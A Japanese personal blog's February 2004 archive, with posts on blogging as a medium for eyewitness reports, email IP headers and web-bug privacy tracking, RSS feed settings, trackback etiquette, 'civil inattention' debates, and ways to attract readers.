blog: 2004年2月アーカイブ

「blog は日記ではない」にあらためて賛同してみる:p。

.yutakano:地下鉄サリン

を見てふと思った。
やっぱり blog は更新しなくてもいいからみんながとにかく持っておこう、と。

当時は現場の個人の意見を見ることは叶わなかったけれど、近い将来かなり末端の意見も見ることができるようになる。
現在でも限定的に可能だ。web サイトを持っている人の意見であれば。

少し前だと、プロバイダがおまけで付けてくれる web スペースを活用する人は少なかったと思う。
今後は単なる web スペースの代わりに blog あるいはそれを拡張したものが提供されていくと思う。

web スペースがなかなか利用されなかったのは、何しろ面倒ということも大きかったが、もう一つの理由として、見てくれる人がいないということだ。

blog のもっともよいところは、意見を書くだけでよい事(メンテナンス性)もさることながら、半ばデフォルトで提供されている「更新通知」にあるように今は思う。この機能のおかげで、数年ほったらかしにしていて、しかも特に固定客もいない blog を更新しただけでも誰かの目に止まるし、FeedBack や Bulkfeeds などにより必要な記事を更新された瞬間にピックアップすることができるようになってきている。

blog が話題にされたのは 0911 テロ事件のときだったらしい。この時点では trackback 等によるサイト間連係によって多くのレポートを参照できたのだと思うけれど、今なら特定事件に関する新着 RSS の方がより効率的に情報収集が出来そうだ。
記事本体は分散して存在するので、負荷の集中をある程度避けられるのも大きい。

オウム事件の裁判においては、個人が moblog を用いて実況まで行ったそうだ。
(注)中での実況はできない。でも後で感想を書くことはできるだろう。
普段は blog なんて全く書かない人でも、現場に近い人が意見や感想を自分の blog にちょっと書けば、素早く見つけてもらえる。
通常の web サイトでは出来なかったことだ。

「場」を取り敢えず持っているだけでもまったく構わないと思う。
blog は継続して更新される事に意味はなくなるはずである。
従って、日記/日誌では無い、という主張も今はよくわかる。

更新すべき時/したい時がいつやってくるかはわからないので、取り合えず慣れるために blog をやっておきましょう:p。

今昼ご飯中なので、後で記事を手直しする予定_o_。

念のため。
もちろん、書くべきことができた時点で開設すればよいわけではあるけれど、記事公開準備済みであるか否かで、ある時言いたいことを報告しようと思うか否か、という心理的抵抗が全然違うと思うのです。
多くの人に伝えようと思えばすぐに伝えられるんだよ、ということと、「その手段」が充分に認知されさえすればよいのですが。
プロバイダがユーザ獲得した時点で、記事投稿 URL を教える、くらいの世の中になってほしい。
もちろん、そこに書いた事が全世界に公開される事は入念に説明した上で。

(追記)
例えば行方不明/犯罪の公開捜査など、コンテキストに応じて報告先が示されたりするけれど、そこに報告するに至る人は、固定である自分の blog に状況を書くのと比べて格段に少ないはず。
後は内容によっては匿名性が必要な場合もあるけれど、匿名だと信憑性が落ちるし、そのレベルなら 2ch で十分に用をなしていると思う。それに、2ch でも「どこに書くべきか?」を考えると起稿を躊躇する人も多そうだ。
あまりにもやばい情報は blog にも書かないだろうけれど、「近くで見た様子」を報告するには最適ではないかなぁ、というのが今回の感想、かな。

参考:技術系サラリーマンの交差点: 半年に一回書くblogをめざして
以前から共感していたんですが、今回思ったのはリピーターに限らず、半年に一度でも一年に一度でもいいから更新すれば見てもらえる可能性が高いということ。

今回も長くなったことと、新たな視点だと思ったので書き起こします。
技術系サラリーマンの交差点: メールからIPアドレスがわかることも多いらしい

元記事で、POP と言われているのは SMTP のことですね。
メイル送信時の IP アドレスですが、SMTP サーバというものが受信した時点で送信元のアドレスを Received として付与します。
このアドレスは基本的に詐称できません。

ブラウザから送信するタイプのメイラでも端末の IP アドレスは大抵(独自)メッセージヘッダに記載されます。Hotmail も Yahoo も送信元 IP はわかります。

過去はダイヤルアップ接続がメインであり、接続のたびに IP アドレスが変化していたため、せいぜいプロバイダと地域までしか解りませんでしたが、現在の ADSL などの固定IPアドレスの世の中になると IPアドレスと個人の結びつきが強くなる、という件は実際に危惧されてもいます。
IPv6 に関しても真っ先にこの点が議論されていますし。

でも、ダイヤルアップであってもプロバイダが調査すれば送信*者*の特定は可能です。そうでなければ犯罪天国になってしまいます。完全匿名を許したらインターネット社会が成り立たなくなります。2ch が後になってログを記録するように変えさせられた通り。

一般的には端末のIPアドレスが一定以下の間隔で変化すれば充分とされており、ADSL などは怪しいですが、逆に企業内からなどの場合は、並列化された中継(HTTP/SMTP)サーバが利用されたりするので、どの企業かは分かってもその中の誰かは外部からは突き止めるのが困難です。

メイルを送信した端末のIPと HTTP アクセス時の proxy サーバが付与する端末の IP を突き合わせれば、企業内からであってもメイル送信者と Web アクセス者が同一であるかを推定することができます。でも、企業の proxy サーバでは内部の端末のIPは送出しないことが多いと思いますが。
(追記)この段落、若干編集しています。

でもまぁ、これを気にする方は、もう Web で見つけた人とのやりとりはやめるしかないでしょうね。


ところで、Web バグ(参考1)というものが存在します。電子メイル送信相手に気付かれないようにWebにアクセスさせる事で、送信先メイルアドレスとIPアドレス、およびクライアントパソコンを識別するID(cookie による)を紐付けすることができます。HTML メイルから参照される画像が自動的に表示される環境では、プレビューするだけで実行されます。

Web バグでは、それが生きているメイルアドレスか?そこから辿って商品を購入したか?ある消費活動を行った人のメイルアドレスは?といった事が収集されます。

今回の話はマーケティングという側面ではなく、個人間のやりとりに関する話ですが、上記から言えることは、メイルアドレスを知っている人間の自サイトでの活動を追跡しようと思えば、その相手からのアクションを待たずとも可能である、ということです。しかも IP アドレスよりも確実な cookie に設置した ID によって。
cookie をオフにしていてもクライアント IP アドレスは採取されます。
さらにこれに「名寄せ」を加えれば、住所氏名などの個人情報まで結びつく可能性もあります。これは業者の協力が必要でしょうけれど。

こちらも回避しようと思うならば、そういう事をする可能性のある Web サイトを見てはいけません、ということになるでしょう。
HTML メイル、あるいはそこからリンクされる画像などを表示する設定をやめる事で、無意識のうちに追跡される可能性は減らすことができますが。

結局、好奇心とリスクのトレードオフで、各自が判断するしかないわけですが。
念のためですが、私は Web 閲覧行動に関してリスクはあまり感じていません^^;。
でも、人によっては(特に女性)リアルワールドにも影響を及ぼすようなリスクも考えられないわけではありません。
やはり、好奇心、というよりサイト管理者への信用でしょうかね。

参考1:はてなダイアリー - 高木浩光@茨城県つくば市 の日記:Webバグについて復習する
参考2:EarlGrey Tearoom: HTMLメールは、IPアドレスを通知する

引用が長いのと、反論とかではない独り言風味なので自分の所に書いたり^^;。経緯はこちらがよいでしょうか。

[技術系サラリーマンの交差点: アクセス解析していないことを検証できない場合]

 初心者のために少し詳しく書くと(私も初心者)、現段階のココログでは、訪問者にわからないようにアクセスログを取るのは不可能だ。というのは、@Niftyはblogオーナーにサーバーのログを提供していないし、SSIという技術を利用することもできないからだ。この条件でログを取るためには、「マイリスト」の中などに解析用のタグを埋め込む必要がある。そして、バナーの表示されない解析サービスを利用しようが自作CGIを使おうが、ページのソースを見ればログを取っていることがわかってしまう。
 だから、ログを取りながら「取っていません」と公言する人がいたとしたら、それは相当の冒険ということになる。閲覧者の大部分は初心者かもしれないが、中にはすごく詳しい人もいるから、「取っているじゃないか」と指摘されたら大恥をかくだけでなく、信用も丸つぶれになる。

おっしゃる通り、ページのソースを厳密に調べれば、ホストしてもらっている blog オーナーがアクセス記録していることはほぼ突き止められます。ホストしている側には言うまでもなく記録されているとして。

が、img を装っているものの場合はかなり難しいです。
特に津村さんはアクセス元ホストのトレースを問題視していらっしゃるわけですが、その場合、ココログ外のサーバに置かれたイメージが貼ってあるサイトにはトレースされていることになります。

全てのイメージがココログ内に置かれている事のほか、iframe や link 要素(もちろん script も)など、外部リソースへのアクセスを伴う要素は何種類もあるので、それらをすべて検証しないと、(nifty ではなくココログオーナーに)アクセスが追跡されてはいない事は証明できません。
既に指摘されているように、MyBlogList を設置しているサイトもそうですし。ただ MyBlogList ではさすがにアクセス元までは見せないかな?知らないですが。

そんな作業をする人はいないと思いますが^^;。「アクセス解析していません宣言」がもし流行った場合は、そういうのを調べて晒すのも流行るのかも。その辺は自分のリスクだからいいですか。

いずれにせよ、意図をもって嘘をつく人はそうそういないと思いますが、意図せずともオーナーに見える場所にログが取られてしまっていることすらあるということで、嘘をつかないのも大変だなぁ、と^^;。

[はてなダイアリー - acidMansoの日記]

250円は高いのかの調査

私の
「ブログ」飽きたらやめる、何か問題でも?
ですが、これを上記のようなコメントとともにご紹介いただいている所が興味深かったです。
ぃや、若干理解不能な気配もあるんですが^^;;。

一緒に紹介されている
milkyの私的生活: ココログから撤収
は、(複数持っていて)お金がかかるのはもったいないから引っ越そうか、というお話ですね。

私のやつは、まぁ「blog なんて別にいつやめてもいいんですよ」と言っている^^;。
相関関係がありそうで、ない記事だと思ってるんですが、だからこそ興味深いっす。

blog に興味を持ったからってだけで 250円払うか?といった視点も考えてみたり。

[■私設伏魔殿■: Googleで誤爆したあなたへ:親切リンク集のススメ]

検索した人は切実に探しているのではないかと思う。「これ、違うじゃん」。そんな声が聞こえるようだ。そんな人のために、簡単なリンク集を作ってみた。よくひっかかるページの末尾に追記として、リンク集へのリンクもはっておいた。「本家本元はこちらです。関連サイトはあちらです」というつもり。ちょっとした交通整理だ。本当に役に立っているかどうかわからないが。

私も「流行語」で来る人がやたら多いので、該当ページに追記したりしてます。
自分のランクを下げるような対応(検索に出ないように配慮するなど)よりも、自分のページに「来てしまった」人も多少なりの情報を獲得できるように。
建設的でよいと思います~。
あ、でもまぁ先頭に追記したほうがよいのでしょうけれど、まだそこまではやっていないです^^;。

自分のところに来て損したと思われるのはなるべくなら避けたいものですよね~。
逆に、変わった経路からやって来た人のことも考えられていると、「読者になろうかな」という人も増えるかもですね~。

まぁ、検索ワードが見えなければ当然そんな配慮のしようがないですけれど。

ちょっとメタブログおば^^;。特定のどこを見てというわけでもないので refer できず_o_。

いわゆるホームページブームに乗って「ホームページ始めました」と言って数週間で更新が止まる、という方はきっと多数いらっしゃったと思います。で、ブログブームでも同じ事になるだけだね、という悲観的なんだか大上段に構えたいだけなのかよくわからない意見がでたりするわけですが(いや純粋に分析としては正しいと思いますが^^;)、ちょっとやってすぐにやめる人をばかにしてはいけませんよね。

ウェブログをどのように使うかによってももちろん変わりますが、ウェブログは当時のブームでいう「ホームページ」と同じく、自分の表現したいことを表現する場です。表現したいことがあれば書き足されていく、一通り言い切ったら(言うことが無くなったら)終了するというのはごく自然なことと思うわけです。

最初からそういうスタンスで、あらかじめ明言している人もいます。

もっと言いましょう。所詮趣味、遊びなんですから、興味があれば始めて、楽しければ続けて、他のものに興味が移ったらやめる、それだけです。それでその人の目的は達成されたんです。
その短期間でもたくさんの人の参考になる、あるいは感動を与える記事を書く人もたくさんいます。

こんなことはすべての人が行っているはずなのに短期間でやめる人たちを非難する(とまではいかなくても馬鹿にしている)ようなものいいをする人がいます。これは何故なんでしょう?

「自分は長く続けているからえらいんだ」ということになるんでしょうか?
いや逆に実際に長くやっている人はそういうことは言わない気がします。

やったことない人のほうが言いそうです。どうせ一時的なブームだろうから自分は手を出さないんだ、ブームに乗らない私は利口だよね、といったところでしょうか?

手を出さない人より手を出した人の方が将来的に人に語れる話題は増えてるんですけど。

つまり、「ブログというものを体験してみる」だけでも目的として充分でしょう。
皆さん飽きるまでやりましょう~。^^/

先程から、「公開用設定」の「ウェブログの記事の連携設定をオンにしますか?」を「はい(概要のみ連携する)」にしています。
明日一日(或いは状況によっては明後日まで)だけこうします。「RSS reader の読者とアクセス数(全文 feed について)」で書いたように、「全文を連携する」にしておくことで RSS reader によって web アクセス無しに全文が読めるという効果があるわけですが、「読者」がどれくらいいるかは見えにくくなる、というあたりについて、ちょっと確認してみたくなったのです。

RSS reader での読者がいらっしゃる場合、全文を連携しない設定にすることにより、referrer の付かないアクセスが増加するはずです。とはいえ、続きを見たいと思われないような記事だった場合はアクセスは増えないでしょうけれど^^;;。

別に綿密な調査を行おうというつもりもなく、ただなんとなくではありますが、bookmark/アンテナ と RSS reader 経由の比較、及び検索/他からのリンク経由と bookmark/アンテナ/RSS reader 経由の比較ができたらなぁ、と思います。

とーぜんこのサイトの性質及びこのサイトの読者の性質に依存しますので、一般的に言えるような観測結果にはならないでしょうけれど、なんとなくやってみました。明後日くらいに何らかの結果が出る…かもしれません^^;。

ちなみに、目的は「"全文を連携する"にした場合、見えない読者がこれ位いるんだよ」という事を言って全文 feed を促進することです^^;。RSS の容量が、と言われる方もいらっしゃると思いますが、通信容量/ストーレジ容量ともに、大した差ではないと思っていますし。もちろん先のリンク先にも書いたように、web で見て欲しいという人その他意図をもって全文 feed を行わない人を非難するような意図は全くありません。

ここに付けているアクセス解析がいまいち使いにくい&ここの絶対アクセス数が大したことないので、あまりよい観測結果にはならない気もしますが、RSS reader の方がこの部分まで読んでくださる(= web アクセスしてくださる)ことをほのかに期待しております。ご面倒おかけして申し分けないんですけれど_o_。

(追記)
あり…設定変えたのに全文が(改行が入らない形でだけど) XML に書きだされてる…-_-。
「概要のみ連携する」って、もしかして name="text" (BODY)の範囲ってことなのか…?
ココログでは name="text_more" (EXTENDED BODY) が基本的に使えないから…とか思ったけど、他のココログでは BODY の冒頭だけが feed されているものもあるな…。
見てみると、「設定」「表示用設定」に、「概要の文字数」という項目があるけど40になっているのに…?

とりあえず「RSS reader の方がこの部分まで読んでくださる」の部分を訂正して、できれば Web にアクセスしてみていただきたいです_o_。

(追記)
というわけで、Tiger さんに教えていただいた通り、「概要の文字 word 数」を減らしました。さっそくのご教授ありがとうございますぅ_o_。
しかし word 数というのがまた厄介で、私は英単語が混ざる時は先の「word 数」のように空白で区切るようにしているのですが、これだと日本語の(字句解析無しにおける) word と英語の word で全然文量が違って来ます-_-。段落単位にしてくれればいいのに。
しかも、概要 feed だと改行が繋がれるため、やっぱり読み辛い…。やっぱ全文 feed 推奨だな^^;。

Auto Discovery のために HTML 内に description が入ってでかくなるという問題がありますが、これって trackback ping url と rss url さえ分かれば dc:description なんか吐かなくてもいいんじゃないのか…とか思う-_-。
どうせ HTML コメント内なんだから rdf 文法に沿わなければならないわけでもあるまいに…。

(追記)
結局、アクセス解析ソフトがどうも信頼できないので、取り合えず白紙にして、また機会があったら調べようと思います_o_。

サイドバーに「blogranking」 なるものへのリンクをこそっと追加して早数日。

登録した Web サイトのランキングを表示するらすぃ。

人が少ないからか?リンクをクリックしないとカウントされないようだけど、その分クリックしてる人の絶対数が少ないようで数回のクリックでランキング上位になってしまってるよ…。

信憑性の低いランキングだなぁ…。
最初仕組みを知るためにいくつかクリックしたりしたもんで^^;。でも他の方もクリックしてくださっているようです。これはありがたや~^^/。

登録者がすごーく増えて、すごーぃ人気サイトが出てくると信頼性が上がっていくかもしれないけれど、どうだろうなぁ?
IN/OUT っていうカウント方式はわりと使われているらしいけど、閲覧者がランキングサイトを意識した行動を取らないと反映されないというのはどうなんでしょう?IMG 要素を使ってページビューで測定したほうがよいんではないだろうか…。

今のところあんまり意義が無いので外そうかとも思ったけれど、それでもここからやってくる人が幾人かでもいらっしゃると思うと、一応放置しとこうかなぁ、くらいの感覚^^;。

とか言いながら、blog.with2.net への更新 ping (ここはトラックバックでよいらしい)も忘れない人:p。

blog は議論に向かない
に関する反応より。

[闇黒日記](平成十六年二月八日)

「ブログ」なるシステムの側面からしか議論されてゐない。議論をする人間の主體性が等閑にされてゐる印象。
……と書くと、「何うして野嵜は『ブログ』の仕組みに興味を持ちませんか。偏つてゐます」のやうなつつこみがバンバン入る羂。「ブログ」や「掲示板」があつて、それで勝手に議論が生ずるのか。議論をしようと思つて人が「ブログ」や「掲示板」に書込むのか。
「議論が起る」と「議論をする」は違ふのだと云ふ事。

お返事お返事^^;;。返事になってない気もするけど-_-。
まぁ…もともとシステムに興味があってその分析として書いてたのでそこはあれなんですが^^;。人の行動原理の分析自体も好きではあります。

で、まず「議論」については以下の二つの目的があると思っています(細かく分ければもっとあるだろうけど)。
参考:そこそこのツッコマビリティだった^^;(blog と「議論」の形)

  1. 互い(或いは多くの人)の考えを述べあって、さまざまな見識があることを知る
  2. 問題の解決を目指して提案/評価を重ねていく

人が1のような議論をしようとした時、blog 上で表明するのはそこそこの手段になるなぁという感想を持っています。
意見をかき集めるのはちょっと大変ですが、Bulkfeed/FeedBack など、ピックアップを補佐するツールがありますので今までのようにどこにあるかわからない掲示板などの意見を吸い上げるよりは大分楽になってるなぁ、と。
それでもまだ何か楽する方法は無いかなぁ、というのが元記事の趣旨でしたけれど。

次に人が2のような議論をしようとした時ですが、こういう場合は ML なり会議といった場の方が向いている可能性があると思っています。少なくとも議論のペースという点においてはそういえるかと。

ならば、そういう場を使えばよいだけですし、専門的な ML などでは今でも積極的にそういう場の方で議論がなされています。

そうすると、元記事のような(2の議論は向かないという)感想が出てくるのは、最初は2のような議論をしようという意図は無かったが、成り行きで blog 上で続いているといった、まさしく「議論が起こった」場合ですね。

ただ、blog で最初の意見表明をした人は得てして議論の場をより適切な場に移動したりせず、ほとんどの主張を blog 上で発してしまう傾向もあるのではないか?とも思います。もっと言ってしまえば、blogger は、より向いている場があっても自身の blog 上で議論をはじめようとしてしまうことがあるのではないでしょうか?

理由は、「(より適切な場を利用することが面倒と感じるほどに) blog 上で問いかけを行うのが楽だからじゃないか?」くらいにしか今のところ考えてないですけど^^;。
blog という意思表示の手段を持っていない人がわざわざ blog を作って 2 の議論を始めることはなさそうです。
既に blog を持っている人は、ML などで問いかけをしたほうがよいか?を考えるのが面倒な場合に、つい自分の日記でぼそっと言ってしまったり、とか^^;。

blog という媒体が、著者に「日記に書くネタを暗に要求している」ことが影響しているやもしれませんね~。
はっ!!これは労力の分散とコミュニティの衰退にも絡む話かも^^;。

で、元記事は、上記の通り、1(2もだけど)の議論において、意見を集約する手段について述べていて、2に特化していなかった、と。タイトルでは2に限定していたにも関らず。ツッコマブルであることも狙ってあんまり考えずに書いていましたが、結局タイトルと中身のずれがツッコマビリティの主要因となったようです^^;。いろいろな反応が見れてよかったです。
ぃやすみません_o_。これってある意味「儀礼的無関心」と同じ事だな^^;。

相手と相手の読者に見せる価値があると思ったなら迷わず打て

以上:p。

トラックバックをどのような時に使うべきか、或いはどのような時に使わないべきかについては、
トラックバックの有効な使い方を考える : ウェブログ@ことのは
こちらで詳しく書いてくださっており、私はほぼ全面同意なのですが、これを一言で言ってみた、と^^;。
相手(サイト)の読者」という部分と「見せる価値」という部分に注意しさえすれば上記や以下で述べられているようななんだかはがゆい状況にはならないです。
例えば既に文中リンクしてる記事にトラックバックが付いた、とかね。もう見てるのにぃみたいな。

参考:羊堂本舗 ちょき - お返しTrackBack

初心者向けに改めて短く言ってみましたー。

注意:「べき」とはそれぞれの記事の著者がそのほうが合理的でよいだろう、と主張しているに過ぎず、そうしろと強要されるものではありません。

儀礼的無関心関連のコメントの中から、もやもやしていた部分を晴らしてくださる一文が。
[はてなダイアリー - 明日の読者]

確かに「公益」を満たすためにはそれぞれの個人がそれぞれ折り合いをつけなければならないでしょう。しかし、それならば「儀礼的無関心」は成り立ちません。関心を示し、覗き見、冷笑を加える者の「権利」も、それを希求する権利を認めるとすると、少数のヒトに関心を示して貰い、覗き見は勘弁してもらって、自分の文章に冷笑される事を厭うヒトの「権利」は侵害されます。常に権利と権利の衝突と調整が起きるだけになってしまうじゃないですか。簡単な論理矛盾ではないか?

経緯はこちらを見るのがよいかと思います。

なんだ、誤用だったのか>儀礼的無関心
にも書いたように、そもそもここで議論されている問題を「儀礼的無関心」と呼んでしまった事が問題なんだけどそれは置いておいてっと。

「覗き見する権利」はあるが「見られたくない権利」もある。「リンクする権利」もあるが「リンクを拒否する権利」もある。「赤裸々なことをWeb上に書く権利」もあるし「それを見たくないと主張する権利」だってある。「サイトを畳む権利」もあるし「見たいと主張する権利」もある。すべてのことについて「主張する権利」があるし「聞かない/拒否する権利」もある。

何らかの権利を行使した時にはほぼ全ての場合に他の何らかの権利を侵害している。
すべての権利を守るのは不可能なので、「守られるべき権利」というものが生まれてくる。

誰のどの権利が守られるべき権利なんでしょう?
この問題に限らず、常に意識したいものです。

[it1127の日記 : ■儀礼的無関心のロンド]

それが何の本だったかまでは思い出せずいたのですが、やっと見つけました
小泉信三「平生の心がけ:デリカシイ:p96」
何時か外国の雑誌でこういう写真を見た。
イギリスの、たしかバッキンガム宮の園遊会か何かの折の場面であった。広い庭園の中の道路を、多数の着飾った男女が、長く続いて参入するところである。一人の、やはり客の一人と見える婦人が、脳貧血でも起こしたのか、路傍に倒れている。同行者、また係り員と覚ぼしき二三人のの者が、それを介抱している。こういう晴れの場所での、この不時の出来事に、当人は勿論、同行の者の困惑は、察するに余りある。ところが、その前を通過する多くの男女が、誰一人その方を見向いているものがいない。それがハッキリ写真で分る。編輯[集]者も、特にこういう場合のイギリス人の訓練を認めたのであろう。説明書きに、そのことに注意を促す文言があった
 これがデリカシイというものだろう

なるほどぉ。ってか私は儀礼的無関心という言葉の元々の意味も知らずに(今話題になっているネット上のものに限定して)、
儀礼的無関心って「儀礼」なの?
といった記事を書いたりしたわけですが、上記引用のようなケースを指して儀礼的無関心、というのであれば納得ですね~。

つまり、儀礼的無関心って「儀礼」なの?から辿れるあたりで議論されている内容はそもそも儀礼的無関心じゃないですね。自分の感想が的を外してなくて良かった良かった^^;。

「儀礼的無関心が由とされるケースは、本人が恥ずかしい状態である事及びそれを見られている事を認知しており、且つそのままでいたくない状況」であるにもかかわらず、今話題になっているケースでは「本人が見られているかすら知らない」のですから。こういう人に対して儀礼的無関心という用語を持ちだしちゃいけないですよねぇ。

[読者の増やし方、教えます]で、以下のように書いた通り、トラックバックなどとは異なる「コメント」の特殊な効果について述べてみます。
ここんとこメタブログ多くてすみません_o_。もうしばらくしたら落ち着きますんで^^;。

コメント経由よりサイト紹介のほうが読者になってもらいやすい、と考えるのは、「紹介に弱い」気質がある、と考えているからにほかならないな^^;。ところで「コメント経由」でやってきた人の心理については別記事を起こす価値があるかも。

ここでの考察は「コメント機能」についてではなく、他の人のページに付いたコメントに書かれた URL を辿って自ページにやってくる人についてです。こういった人は、100% コメントを書いた「人」に興味を持ったといえると思います。なぜならコメントでは、通常そのコメント自体に自分の主張/見解の全てを含めているため、人に興味を持たない限りは、その著者のページまで見にくるということにはならないためです。

次に、トラックバックを辿ってやってくる人は、その時点では「話題」「意見」にしか興味を持っていません(自分のことを知らない人の場合)。自分のページに来てからその「人」に興味を持つか否かが別れるわけです。

自分の意見が一通り見られた後で興味を持たれるかが決まる、というのはコメントでもトラックバックでも同じなんですが、トラックバックではタイトルと冒頭だけで、「まずその意見を見るかどうか」という判断がなされることになり、しかもその後ワンオペレーション(クリック)余計に必要になります。コメントでは何もしなくても主張全体が見れます。

つまり、上記リンク先で述べたように、他人のページへのコメントを経由してやって来た人は「読者化」の可能性が高い人、というわけです。

あまりこういうことは卑しい感じがして書きたくないですが、人気サイトに「コメント」すると、トラックバックより潜在読者を増やすことができる、と言えると思います。でも宣伝はほどほどに^^;。あくまで「よいコメントが書けたなら」ですから。

では、「他のサイトからの紹介」の場合はどうでしょう?

この場合は、「記事の紹介」なのか「サイトの紹介」なのかで読者の行動心理の位置付けが変わるわけです。
「サイトの紹介」はすなわち「人の紹介」に他なりません(…とも限らないか…でもいいや^^;)し、「記事の紹介」はあくまで「意見」の紹介です。もちろん紹介のされ方次第で「人の紹介」とほぼ等価になり得ますが。

これらとコメント/トラックバックの関係ですが、自分の判断で興味を持つか、他人の言葉により興味を持つか、という違いが(あくまで傾向として)あるのが興味深いですね。


ちなみに、
相手に何かを伝える手段とその重み付け
という記事でも、トラックバックとコメント、そして紹介リンクの重みを場合に応じて変動させています(適当ですが^^;)。
このことを意識しながら使い分けると、自分にとっても相手にとってもよい結果に結びつきやすくなると思います。

ま、深くは考えてないですのでツッコミあったら、是非~^^/。

はぁ…気になると書き留めておかないと気が済まなくなってるよ-_-。
仕事しないとなのにT_T。

トラックバックって第三者からも簡単にできちゃうのよね…。
送った URL の内容からして全然無関係だったりする場合、通常は何かの間違いだろうで済むんだろうけど、本人によるトラックバック SPAM ならまだしも、第三者が人を陥れようとしてその人のサイトをそこら中にトラックバック送信したら、結構な人が「変なやつ」「無節操なやつ」という烙印を押しそうで恐いよなぁ…と。もちろんあんまり目立つと第三者トラックバックであることはすぐばれるけど、その人を嫌って欲しい数人に狙い撃ちとかすると…。

まだそういう被害は出てないのかなぁ…。

(追記)
果たしてこれから話題になるのか?
関連記事にトラックバック。

議論への割り込みになるかなと思い、ウォッチャーとして(コメントではなく)日記のほうに書く:p。
でも、結局単なるウォッチャーであるのが嫌なので、トラックバックは一応しておいたり^^;。

元ネタはこちらです。
「ウォッチャー」の権利など守る必要はない。儀礼的無関心2 : ウェブログ@ことのは

もともとは C1、典型的には「微笑ましいな」などと思いながら見続けている人の立場を(も)尊重したい、というつもりで松谷さんは書かれたのだと思います。で、強調(煽り)を込めて「覗き見」と書かれたのが裏目にでた、という好意的解釈をしてみますが、実は本音が漏れた可能性も全く否定できません。
それはサイト管理人としても、意図する読者なんでしょう、きっと…おそらく^^;。

でもあまりにも赤裸々が過ぎて、当人がリスクを知らずにやっているような場合は、こっそり指摘してあげるのが親切ではないかと。となると、それをせずにこっそり見続ける人って、たとえ好意的な目で見ている C1 の人であっても、権利を守る必要はないような。

その場合、やはり当人に指摘なりもしないでおもむろにリンクしてしまう大規模サイトというのも、Web という媒体の性質からすれば責められる行為じゃないはずですが、少なくとも「優しくはない」とはいえそうです。

なので、もし「思いやり」を語るなら、そっとしておくよりも当人に教えてあげるほうが良いのではないかしらん。
で、こんなふうに見られてるけど、いいの?と言って、当人が「やだ」と言うなら、例えばこんな仕組み(を実現した上で^^;)を教えてあげるのがすべての人のことを考えた行動ではないかと思いますけどね~。
技術的に制限するのが当人に難しいなら、「書く内容について意識したほうがいいよ」でもいいので。

つまり、「儀礼的無関心」と名づけられていますが、無関心を装うことは儀礼ではないじゃないか、と。
あ、「儀礼的」だから、「似非儀礼」って意味なのかな?

でも、あらゆる人を「Web というものを分かってないかもしれないから」といってそれを尊重しようとしてたら、めんどくさくてやってられなくなるっしょ。それこそ公共の利益にならない。なので、リンクしちゃった、とかそれで人が溢れてサイトが閉じられちゃった、とか言ってリンクした人を責めるのはなんか違う、と思いまする。

あ…書いてるうちに論点がずれていった…-_-。

実はここしばらくは、自分の書きたいことを崩さない程度にアクセスアップに関していくつかの実験をしていました。
この記事のベタなタイトルもその一環です^^;。

とはいえ、私はこんなこともしているようにアクセス数が見えることに固執しているわけでもなく、読者の思考過程への興味のほうが強いです。
なお、私は自己顕示欲は無いどころか"ありあり"です^^;。たくさんの人に読まれたいと思っておりますので、このサイトは是非リンク上等でよろしくお願いいたします:p。
リンクがんがんしてください~^^;。

あらかじめ書いておきますが、ここで述べるのは、ページビューを増やすのではなく、「読者を増やす」ことに関してです。ここでの「読者」は端的には「bookmark/アンテナ/RSS reader に subscribe してくれる人」です。変なことして一時的に増えてもしかたないですから。でも、変なことしてでもとにかく存在を知ってもらわないと始まらない、という論点も含めます。
で、その方法は「良いコンテンツを出す」に他ならないですが、それを言ってもしょうがないので^^;ここでは置いておきます。
つまり、コンテンツが良いのは前提として、その認知度が上がって認められる時にはどんなことが起っているか?です。

さて、私のページは今のところココログのページの中では読まれているほうでは無いように思いますが、自分だけでなく他で観測したことも交えて、オーナーの行動がアクセスに与える影響についての考察を記録として書き留めておきたいと思います。

なお、キャッチーであることやユーザビリティといった観点からの読者を惹き付ける手段については、自分の意見としては、
philosophical : 読者を引き寄せる方法
philosophical : さらに改造>ページ内見出し一覧
あたりに書いてます。見栄え/文章力についてはセンス0なので何も書けません^^;。今回はアクセス解析と観測に基づいて。
なので、当然どんなサイトにも当てはまるわけじゃありませんし、事実のみを述べているわけでもありません_o_。ここに挙げた以外の要因もまだまだあると思います。


blog(ココログ)へのアクセスの傾向

基本は検索からの流れ

とにかく検索サイトからいらっしゃる方が多いです。
私のサイトではあまり注目される検索ワードは含まれないほうなのですが、それでも全体の半数は越えるでしょう。こういうのに載るようなキーワードをテーマにしていらっしゃる方は全アクセスの 60%, 70% ということもあるかもしれません。

流行っているテレビ番組(今なら「白い巨塔」とか「プライド」ですか?)なんかについて述べるとかなりアクセスがあるようです。私も試しにやろうかなとか思ったけど、さすがにカラーが違い過ぎて出来ませんが^^;。
そもそもテレビなんてニュース以外では「行列の出来る法律相談所」くらいしか見てないし-_-。あでも最近は「エンタの神様」とか「爆テン」にちと興味が^^;。と、ここでキーワードを挙げてみるテスト:p。ごめんなさい~^^;。キーワードのみ載せるのは基本的に最悪の方法です:p。
というわけで、自分が興味ないのにやる必要はない、と考えていますが、読者を増やすのが何よりの目的であるなら、どうぞ^^;。

その他は、「流行語」「させていただく」みたいな、時事性のあるもの、トリビア的なものも興味を持たれます。
国語に関する記事とかは日常の話題にし易いので、引っかけられ易い傾向があるように思います。「句読点」の話題とか。

上記いずれの場合も、何らかの調査を伴った信頼性の高い記事のほうが、「読者」化の可能性が高いです。時事ネタの場合は逆に事実の報道よりも感情をともなう率直な感想が期待される可能性もありますが、「読者化」という観点では余り差は無いように思います。

また、この手の人の読者化に当たっては、興味を引くカテゴリ名と興味を引く記事タイトル一覧がすぐに見える必要があります。それをやっても大半の人は他の記事まで見ないで去っていきますが、やらないのと比べればかなり差が出るのではないかと思います。私は今はそこを一番重要視してます。所詮は日記とも思ってるので常に考えてるわけでもないけど^^;

ちなみに、検索で来る人はそもそもサイト内容を吟味して bookmark しようという気のある人が少ない、という話もありますが、そのページ一発で、「人」に興味を持たれるような構成/文章であれば、比率は少ないとはいえ十分にあり得ると私は思います。

ただ、検索から流れて来る人が多いのは、ココログだからこそ、とも言えます。もうしばらくしたらページランク調整がなされて流れてくる人が減っていくのかな、と。
ココログは(ランクの高い)nifty から激しくリンクされているので、他の blog よりランクが高いのではないかと思っていますがどうでしょう?

追記ですが、昨日は検索経由が50%を割りました。認知度が高まってくると検索経由の比率が下がっていくんですね。


ping server 侮れじ

BlogPeaple/MyBlogList その他にも ping すべきだ、と。
ココログ新着記事経由だけでもアクセス全体の 10%以上です。
ただしタイトルと本文冒頭、及び投稿時間帯にもよります。そのあたりはこちらとそのリンク先で述べられています。


話題性のある記事を出す

